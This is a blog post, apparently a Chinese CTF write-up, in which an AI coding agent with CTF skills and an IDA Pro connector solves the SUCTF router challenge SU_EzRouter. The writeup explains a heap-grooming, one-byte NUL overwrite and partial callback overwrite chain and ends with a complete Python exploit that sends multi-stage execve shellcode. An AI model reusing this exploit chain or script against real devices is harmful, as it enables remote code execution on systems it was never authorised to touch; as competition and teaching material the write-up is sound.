基于AI-agent的一次CTF实战(二进制)
基于AI-agent的一次CTF实战(二进制)
赛事
SUCTF
赛题
SU_EzRouter
Agent的调用(codex)
首先我们理解一下agent的工作
你可以把 Codex 想象成一个能力超强的“AI软件工程师”,而 Skills 和 MCP 就是它用来感知世界和执行任务的“双手”和“工具箱”。
skills
- 基于思维链推理,Codex会将你的需求拆解成子任务
- 然后在本地的Skill仓库中做向量相似度检索,找到与当前子任务最匹配的Skill(比如计算你描述的"React项目"与Skill元数据的语义相似度)
- 匹配成功后,Codex动态加载该Skill的SKILL.md,把里面的步骤插入到当前对话的上下文窗口
- 执行时采用ReAct(Reason+Act)模式:每执行一步,观察结果,再决定下一步,直到剧本完成
mcp
- MCP基于JSON-RPC 2.0协议进行通信
- Codex启动时会读取配置,通过stdio或SSE与MCP服务器建立长连接
- 调用时,Codex向MCP Server发送工具调用请求(包含工具名和参数)
- MCP Server在隔离的沙盒环境中执行操作(如文件读写、Git操作),返回结构化结果
- 这个结果会被Codex重新喂给大模型,进行下一轮推理——形成模型调用工具→工具返回结果→模型继续推理的闭环

解题
工具调用
codex ---->加载(ctf-web skill,ctf-pwn skills,ctf-reverse skills)____进入题目流程——调用IDAPROmcp---->自动动态调试----->获取flag---->生成writeup(加载ctf-pwn skills和ctf-writeup-generator skills)
Tips
以下wp由ctf-pwn skills和ctf-writeup-generator skills产出
SU_EzRouter
日期: 2026-03-15
题型: Web / Pwn 混合
核心技巧: IPC 后端劫持、heap grooming、one-byte partial overwrite、分级 shellcode
最终 Flag: SUCTF{ExCeED_4UThOR1Ty_W1tH_1pc}
题目概览
这题表面上是一个路由器后台网页,实际核心利用点不在前端 CGI 本身,而在它们通过消息队列通信的后端进程 mainproc。
整体链路如下:
- 先通过网页登录拿到合法
session_id。 - 通过
wifi.cgi和list.cgi做 heap grooming。 - 通过
vpn.cgi的set操作触发一个单字节空字节覆盖,把custom_ptr的低字节清零。 - 这个清零后的
custom_ptr正好折回到vpn_list结构体内部。 - 再用
vpn.cgi的edit操作把这个“坏掉的指针”变成任意定点写。 - 只改 callback 指针低 2 字节,保留 PIE 高位,跳到一个
jmp rdi中间 gadget。 - 控制流先落到
vpn_list头部,再跳到cert里的小跳板,再跳到server里的 stage1,最后跳到真正的customshellcode。 - 远程 shellcode 把 flag 写到 Web 可读页面,再回 HTTP 读出。
最后用onebyte-partial,就是:
- 先用单字节
NUL覆盖把写指针折回结构体内部。 - 再只做低 2 字节 partial overwrite,利用 PIE 页对齐把爆破空间压到 16 种可能。
远程入口与认证
远程地址:
http://web-xxxxxxxxx.adworld.xctf.org.cn:80/
从固件里可以直接提取出登录凭据:
username = normaluser
password = yhyyyyyyyyyyyhyhuityrscdn
登录流程是:
POST /cgi-bin/login.cgi- 返回
302到/www/http?auth=1&action=login - 再访问这个地址,服务端下发
session_id - 带着 cookie 访问
/control.html
这一层没有什么利用难点,重点只是先拿到合法会话。
程序结构与关键函数
CGI 程序不是直接处理所有逻辑,而是把请求组织成消息发给 mainproc。mainproc 里和本题相关的关键函数主要有:
Set_VPNEdit_VPN_CustomApply_VPNdefault_vpn_apply
其中最重要的是下面三段逻辑。
1. Set_VPN
逆向后可以整理为:
vpn_list = malloc(0xF0);
n = strlen(msg + 229); // custom 的长度
*(uint16_t *)vpn_list = n; // +0x00 custom_strlen
if (n) {
*(uint64_t *)(vpn_list + 0xE8) = malloc(n + 1);
memcpy(*(void **)(vpn_list + 0xE8), msg + 229, n);
*(*(char **)(vpn_list + 0xE8) + n) = 0;
} else {
*(uint64_t *)(vpn_list + 0xE8) = 0;
}
*(uint64_t *)(vpn_list + 0x10) = default_vpn_apply;
strcpy(vpn_list + 0x18, msg + 0x0c); // action
strcpy(vpn_list + 0x38, msg + 0x2c); // name
strcpy(vpn_list + 0x58, msg + 0x4c); // proto
strcpy(vpn_list + 0x78, msg + 0x6c); // server
strcpy(vpn_list + 0xA8, msg + 0x9c); // user
strcpy(vpn_list + 0xC8, msg + 0xbc); // pass
*(uint64_t *)(vpn_list + 0x08) = *(uint64_t *)(msg + 220); // cert
结构体关键偏移可以记成:
+0x00 uint16_t custom_strlen
+0x08 uint64_t cert_qword
+0x10 callback
+0x18 action
+0x38 name
+0x58 proto
+0x78 server
+0xA8 user
+0xC8 pass
+0xE8 custom_ptr
2. Edit_VPN_Custom
这个函数是后续写原语的核心:
memcpy(vpn_list->custom_ptr, msg + 0xc,
min(msg_len, vpn_list->custom_strlen));
也就是说,一旦能把 custom_ptr 改成指向结构体内部,我们就能把 edit 操作变成对结构体本身的定点覆盖。
3. Apply_VPN
调用逻辑非常短:
if (vpn_list && *(uint64_t *)(vpn_list + 0x10)) {
(*(void (**)(long))(vpn_list + 0x10))(vpn_list);
}
这个 call site 有个很关键的细节:
rdi = vpn_listrax = vpn_list
所以如果我们能把 callback 改成 jmp rdi 或 jmp rax 一类 gadget,就能直接把执行流送进结构体本身。
第一层漏洞:单字节 NUL 覆盖
漏洞点出在 Set_VPN 最后一次 strcpy:
strcpy(vpn_list + 0xC8, pass);
这里 pass 字段的起始偏移是 +0xC8,长度窗口到 custom_ptr 的首字节刚好是 0x20。
所以只要满足:
pass恰好是0x20个非零字节cert[0] == 0
那么 strcpy 复制完 32 个字节后,结尾的 \x00 会精确落到:
vpn_list + 0xE8
也就是 custom_ptr 的最低字节。
这不是完整任意写,只是把指针的低字节清零。但如果堆布局合适,这一个字节就足够把 custom_ptr 从原来的堆 chunk 地址“折回”结构体内部。
第二层:heap grooming 让 custom_ptr 折回 callback 槽
单字节清零能折到哪里,完全取决于 vpn_list 和 custom chunk 的堆布局。
本地验证后,最关键的一组 grooming 是:
wifi save x1
add_white x3
对应现象是:
vpn_list的低字节稳定到0xf0custom_ptr原本指向vpn_list + 0x100- 低字节被清零以后,
custom_ptr变成vpn_list + 0x10
也就是:
custom_ptr -> callback 槽
这一点非常重要。因为这意味着后面的:
memcpy(vpn_list->custom_ptr, ...)
实际上会写到:
vpn_list + 0x10
从而变成对 callback 指针的覆盖。
为什么这里必须用 raw custom,而不是 B64:
一开始很容易想到用 custom="B64:..." 来塞 shellcode,因为这样更方便传二进制。
但这题如果想让控制流先从 vpn_list 头部开始执行,必须让结构体最前面的两个字节变成一个可用短跳。
custom_strlen 存在 vpn_list + 0x00,所以我们希望:
custom_strlen = 0x07eb
这样头两个字节就是:
eb 07
也就是:
jmp +7
这能让执行流从结构体开头直接跳过无用的零字节,落到后面的跳板代码。
问题在于:
- 如果用
B64:,custom_strlen记录的是 JSON 里这段字符串的长度 - 它不是解码后的长度
- 而且
B64:本身会额外带来+4 - base64 长度还会按 4 对齐
于是很难精确做成 0x07eb。
解决方式是直接使用原始 custom 字符串,并利用 vpn.cgi 支持的 \xNN 转义来送任意字节。这样:
- shellcode 实际内容可控
custom_strlen也能被精确控制成0x07eb
整体控制流设计
最终采用的是 4 段式跳转:
callback
-> jmp rdi
-> vpn_list 头部
-> cert 跳板
-> server stage1
-> custom stage2
下面按段说明。
第一跳:callback -> jmp rdi
callback 初始值是 default_vpn_apply。
我们不能直接用 edit 长写把整个 callback 改成目标地址,因为这样会把 PIE 高字节一起覆盖掉,远程没有泄露就没法恢复。
所以只能做 partial overwrite,只改 callback 的低 2 字节。
目标是命中一个中间 gadget:
jmp rdi
这样执行流就会跳到:
rdi = vpn_list
第二跳:vpn_list 头部 -> cert 跳板
前面已经把:
custom_strlen = 0x07eb
于是结构体开头就是:
eb 07 jmp +7
而 vpn_list + 0x02 到 vpn_list + 0x07 大部分是零,刚好被这条短跳跳过去。
跳到 vpn_list + 0x09 以后,正好落在 cert_qword 内部,所以把 cert 设计成:
00 48 8d 47 78 ff e0 90
真正执行的是从偏移 +1 开始的部分:
48 8d 47 78 lea rax, [rdi+0x78]
ff e0 jmp rax
也就是把执行流送到:
vpn_list + 0x78
那里正好是 server 字段。
第三跳:server stage1 -> custom
server 字段放一个很短的跳板:
48 89 f8 mov rax, rdi
fe c4 inc ah
ff e0 jmp rax
这里的核心是 inc ah。
在这条指令执行前:
rax = vpn_list
而真实的 custom 缓冲区在这组堆布局下是:
vpn_list + 0x100
对寄存器高 8 位中的 ah 做 +1,效果就是给 rax 加上 0x100,于是:
rax: vpn_list -> vpn_list + 0x100
接着 jmp rax 就进入真正的 shellcode。
第四跳:custom stage2
最后的 stage2 shellcode 放在 custom 堆 chunk 里。
远程最终使用的命令是:
find / -maxdepth 3 -name 'flag*' -type f 2>/dev/null | \
while read f; do echo ==== $f ====; cat $f; done >/app/www/control.html
考虑点有两个:
/control.html是登录后可读页面- 直接写
/flag.txt、/www/flag.txt这类路径会被 Web 层拒绝访问,回读不稳定
把结果直接覆盖 control.html 最稳。
one-byte partial 的真正爆破点
这题最关键的地方在于:虽然只改 callback 的低 2 字节,但我们并不需要爆破全部 65536 种。
因为目标进程是 PIE,而 PIE 基址页对齐,所以:
base_low12 = 0
目标 gadget 地址是:
target = base + 0x1c21
因此:
target_low16 = (base_low16 + 0x1c21) & 0xffff
由于 base_low12 固定为 0,目标地址的最低字节总是:
0x21
只有第二字节会随着 base_low16 的高 4 位变化:
0x0c, 0x1c, 0x2c, 0x3c,
0x4c, 0x5c, 0x6c, 0x7c,
0x8c, 0x9c, 0xac, 0xbc,
0xcc, 0xdc, 0xec, 0xfc
也就是说,真正要爆破的只是这 16 个值。
所以每一轮 edit 只需要写:
\x21\x??
其中 ?? 从上面这 16 个候选值里枚举即可。
“onebyte-partial” 的精髓:不是盲改整个地址,而是利用页对齐把不确定性压缩到很小的空间。
为什么可以一直爆破:restart.sh
如果 callback 第二字节猜错,Apply_VPN 调 callback 时会直接把 mainproc 打崩。
题目环境里有一个现成的恢复入口:
/cgi-bin/restart.sh
这个脚本会:
- 杀掉旧的
mainproc - 清理消息队列
- 重新启动
mainproc
它的 HTTP 响应经常超时,但这不影响它实际执行。实战里可以把它当成:
fire-and-forget 重启按钮
只要调用完稍等几秒,就能继续下一轮猜测。
远程利用脚本说明
最终脚本是 exploit_remote.py。
它做的事情如下:
- 登录并获取
session_id - 调
restart.sh重启后端 wifi save一次add_white三次,完成 heap grooming- 用精心构造的
vpn set建立目标结构体和多级跳板 - 用
vpn edit只改 callback 低 2 字节 vpn apply触发 callback- 回读
/control.html - 如果页面已经不再是原来的后台 HTML,而是 shell 命令输出,说明命中成功
核心构造如下。
set 包里的关键字段
pass = "C" * 0x20
cert = 00 48 8d 47 78 ff e0 90
server = 48 89 f8 fe c4 ff e0
custom = 原始 shellcode,长度精确为 0x7eb
edit 包
只发 2 个字节:
21 ?? // 低字节固定 0x21,第二字节做 16 选 1 爆破
成功判定
脚本通过判断 /control.html 是否还包含原始后台页面特征:
<!doctype html>enterprise gateway
如果这些特征消失,并且页面内容变成 shell 输出,就说明利用成功。
实战结果
远程脚本命中后,control.html 的内容变成:
==== /app/flag ====
SUCTF{ExCeED_4UThOR1Ty_W1tH_1pc}
最终得到 flag:
SUCTF{ExCeED_4UThOR1Ty_W1tH_1pc}
这题最容易踩的坑
1. 误以为可以长写 callback
如果 custom_ptr 已经折到 callback 槽,再用长数据去覆盖 callback,确实能把低字节改掉,但也会把高字节一起冲掉。
本地有泄露时可以直接精确写完整地址,远程没有泄露就不行。
所以远程必须走 partial overwrite。
2. 误以为 custom_strlen 是解码后的长度
如果使用 B64:,custom_strlen 记录的是 JSON 里这段字符串的长度,不是 base64 解码后的实际 shellcode 长度。
这样就很难把结构体开头做成 eb 07。
3. 第二字节不是固定 0x1c
一开始很容易以为目标 gadget 就是文件偏移 0x1c21,所以直接写:
21 1c
这是不对的。
真正应该改的是:
(base + 0x1c21) & 0xffff
因为 PIE 基址参与了低 16 位计算,所以第二字节必须爆破。
4. restart.sh 超时不代表失败
远程调用时经常直接超时,但过几秒后 mainproc 实际上已经恢复了。
如果因为超时就误判成“不能重启”,会白白绕远路。
总结
这题的利用链并不依赖复杂的 libc 技巧,核心是把几个看起来都不大的点串起来:
- 一个单字节
NUL覆盖 - 一组可重复的 heap grooming
- 一个结构体内部回写
- 一个只改低 2 字节的 partial overwrite
- PIE 页对齐带来的 16 次小爆破
- 多段短跳板把执行流送进可执行堆 shellcode
如果把这些点分别看,单独都不算很重;但连起来以后就是一条非常典型、也非常适合 CTF 的精细利用链。
生成文件:exploit_remote.py
#!/usr/bin/env python3
import argparse
import random
import re
import time
import requests
from pwn import asm, context, shellcraft
context.clear(arch="amd64")
BASE_URL = ""
USERNAME = "normaluser"
PASSWORD = "yhyyyyyyyyyyyhyhuityrscdn"
CUSTOM_LEN = 0x7EB
SECOND_BYTE_CHOICES = [((i << 4) | 0x0C) & 0xFF for i in range(16)]
def escape_bytes(blob: bytes) -> bytes:
return "".join(f"\\x{b:02x}" for b in blob).encode()
def build_stage2(command: str) -> bytes:
shellcode = asm(shellcraft.execve("/bin/sh", ["sh", "-c", command], 0))
bad = [b"\x00", b'"', b"\\"]
if any(token in shellcode for token in bad):
raise ValueError("generated shellcode contains a blocked byte")
return shellcode.ljust(CUSTOM_LEN, b"\x90")
def build_set_body(command: str) -> bytes:
custom = build_stage2(command)
server_stage = bytes.fromhex("4889f8fec4ffe0") + b"A" * (48 - 7)
user_stage = b"B" * 32
pass_stage = b"C" * 32
cert = bytes.fromhex("00488d4778ffe090")
return (
b'{"action":"set","name":"N","proto":"P","server":"'
+ escape_bytes(server_stage)
+ b'","user":"'
+ escape_bytes(user_stage)
+ b'","pass":"'
+ pass_stage
+ b'","custom":"'
+ escape_bytes(custom)
+ b'","cert":"'
+ escape_bytes(cert)
+ b'"}'
)
def build_edit_body(second_byte: int) -> bytes:
return b'{"action":"edit","custom":"' + escape_bytes(bytes([0x21, second_byte])) + b'"}'
def login(sess: requests.Session, base_url: str) -> None:
resp = sess.post(
f"{base_url}/cgi-bin/login.cgi",
data={"username": USERNAME, "password": PASSWORD},
allow_redirects=False,
timeout=10,
)
resp.raise_for_status()
resp = sess.get(
f"{base_url}/www/http?auth=1&action=login",
allow_redirects=False,
timeout=10,
)
resp.raise_for_status()
if "session_id" not in sess.cookies:
raise RuntimeError("login did not produce a session cookie")
def restart_mainproc(sess: requests.Session, base_url: str, delay: float) -> None:
try:
sess.get(f"{base_url}/cgi-bin/restart.sh", timeout=3)
except requests.RequestException:
pass
time.sleep(delay)
def post_form(sess: requests.Session, base_url: str, path: str, data: dict) -> str:
resp = sess.post(f"{base_url}{path}", data=data, timeout=10)
resp.raise_for_status()
return resp.text
def post_json_bytes(sess: requests.Session, base_url: str, path: str, body: bytes) -> str:
resp = sess.post(
f"{base_url}{path}",
data=body,
headers={"Content-Type": "application/json"},
timeout=10,
)
resp.raise_for_status()
return resp.text
def trigger_guess(
sess: requests.Session,
base_url: str,
set_body: bytes,
second_byte: int,
) -> None:
post_form(
sess,
base_url,
"/cgi-bin/wifi.cgi",
{"action": "save", "ssid": "SSID", "password": "PASS"},
)
for idx in range(3):
post_form(
sess,
base_url,
"/cgi-bin/list.cgi",
{
"action": "add_white",
"idx": str(idx),
"mac": f"11:22:33:44:55:{idx:02x}",
"note": "X",
},
)
post_json_bytes(sess, base_url, "/cgi-bin/vpn.cgi", set_body)
post_json_bytes(sess, base_url, "/cgi-bin/vpn.cgi", build_edit_body(second_byte))
post_json_bytes(
sess,
base_url,
"/cgi-bin/vpn.cgi",
b'{"action":"apply","name":"x"}',
)
def fetch_control(sess: requests.Session, base_url: str) -> str:
resp = sess.get(f"{base_url}/control.html", timeout=10)
resp.raise_for_status()
return resp.text
def looks_like_success(text: str) -> bool:
lowered = text.lower()
return "<!doctype html>" not in lowered and "enterprise gateway" not in lowered
def extract_flag(text: str) -> str | None:
match = re.search(r"[A-Za-z0-9_]+\{[^{}\n\r]+\}", text)
return match.group(0) if match else None
def main() -> None:
parser = argparse.ArgumentParser()
parser.add_argument("--base-url", default=BASE_URL)
parser.add_argument("--delay", type=float, default=5.0)
parser.add_argument("--max-attempts", type=int, default=64)
parser.add_argument(
"--command",
default=(
"find / -maxdepth 3 -name 'flag*' -type f 2>/dev/null | "
"while read f; do echo ==== $f ====; cat $f; done >/app/www/control.html"
),
)
args = parser.parse_args()
set_body = build_set_body(args.command)
order = SECOND_BYTE_CHOICES[:]
rng = random.Random()
for attempt in range(1, args.max_attempts + 1):
second_byte = order[(attempt - 1) % len(order)]
if attempt % len(order) == 1:
rng.shuffle(order)
second_byte = order[0]
sess = requests.Session()
login(sess, args.base_url)
restart_mainproc(sess, args.base_url, args.delay)
print(
f"[+] attempt {attempt}: editing callback low bytes -> 0x21 {second_byte:02x}",
flush=True,
)
try:
trigger_guess(sess, args.base_url, set_body, second_byte)
except requests.RequestException as exc:
print(f"[-] request failed during attempt {attempt}: {exc}", flush=True)
continue
time.sleep(1.0)
control = fetch_control(sess, args.base_url)
if looks_like_success(control):
print("[+] control.html changed; likely code execution", flush=True)
print(control)
flag = extract_flag(control)
if flag:
print(f"[+] flag: {flag}", flush=True)
return
raise SystemExit("exhausted attempts without a visible success")
if __name__ == "__main__":
main()
本文来自博客园,作者:{Alexander17},转载请注明原文链接:{https://home.cnblogs.com/u/alexander17}

浙公网安备 33010602011771号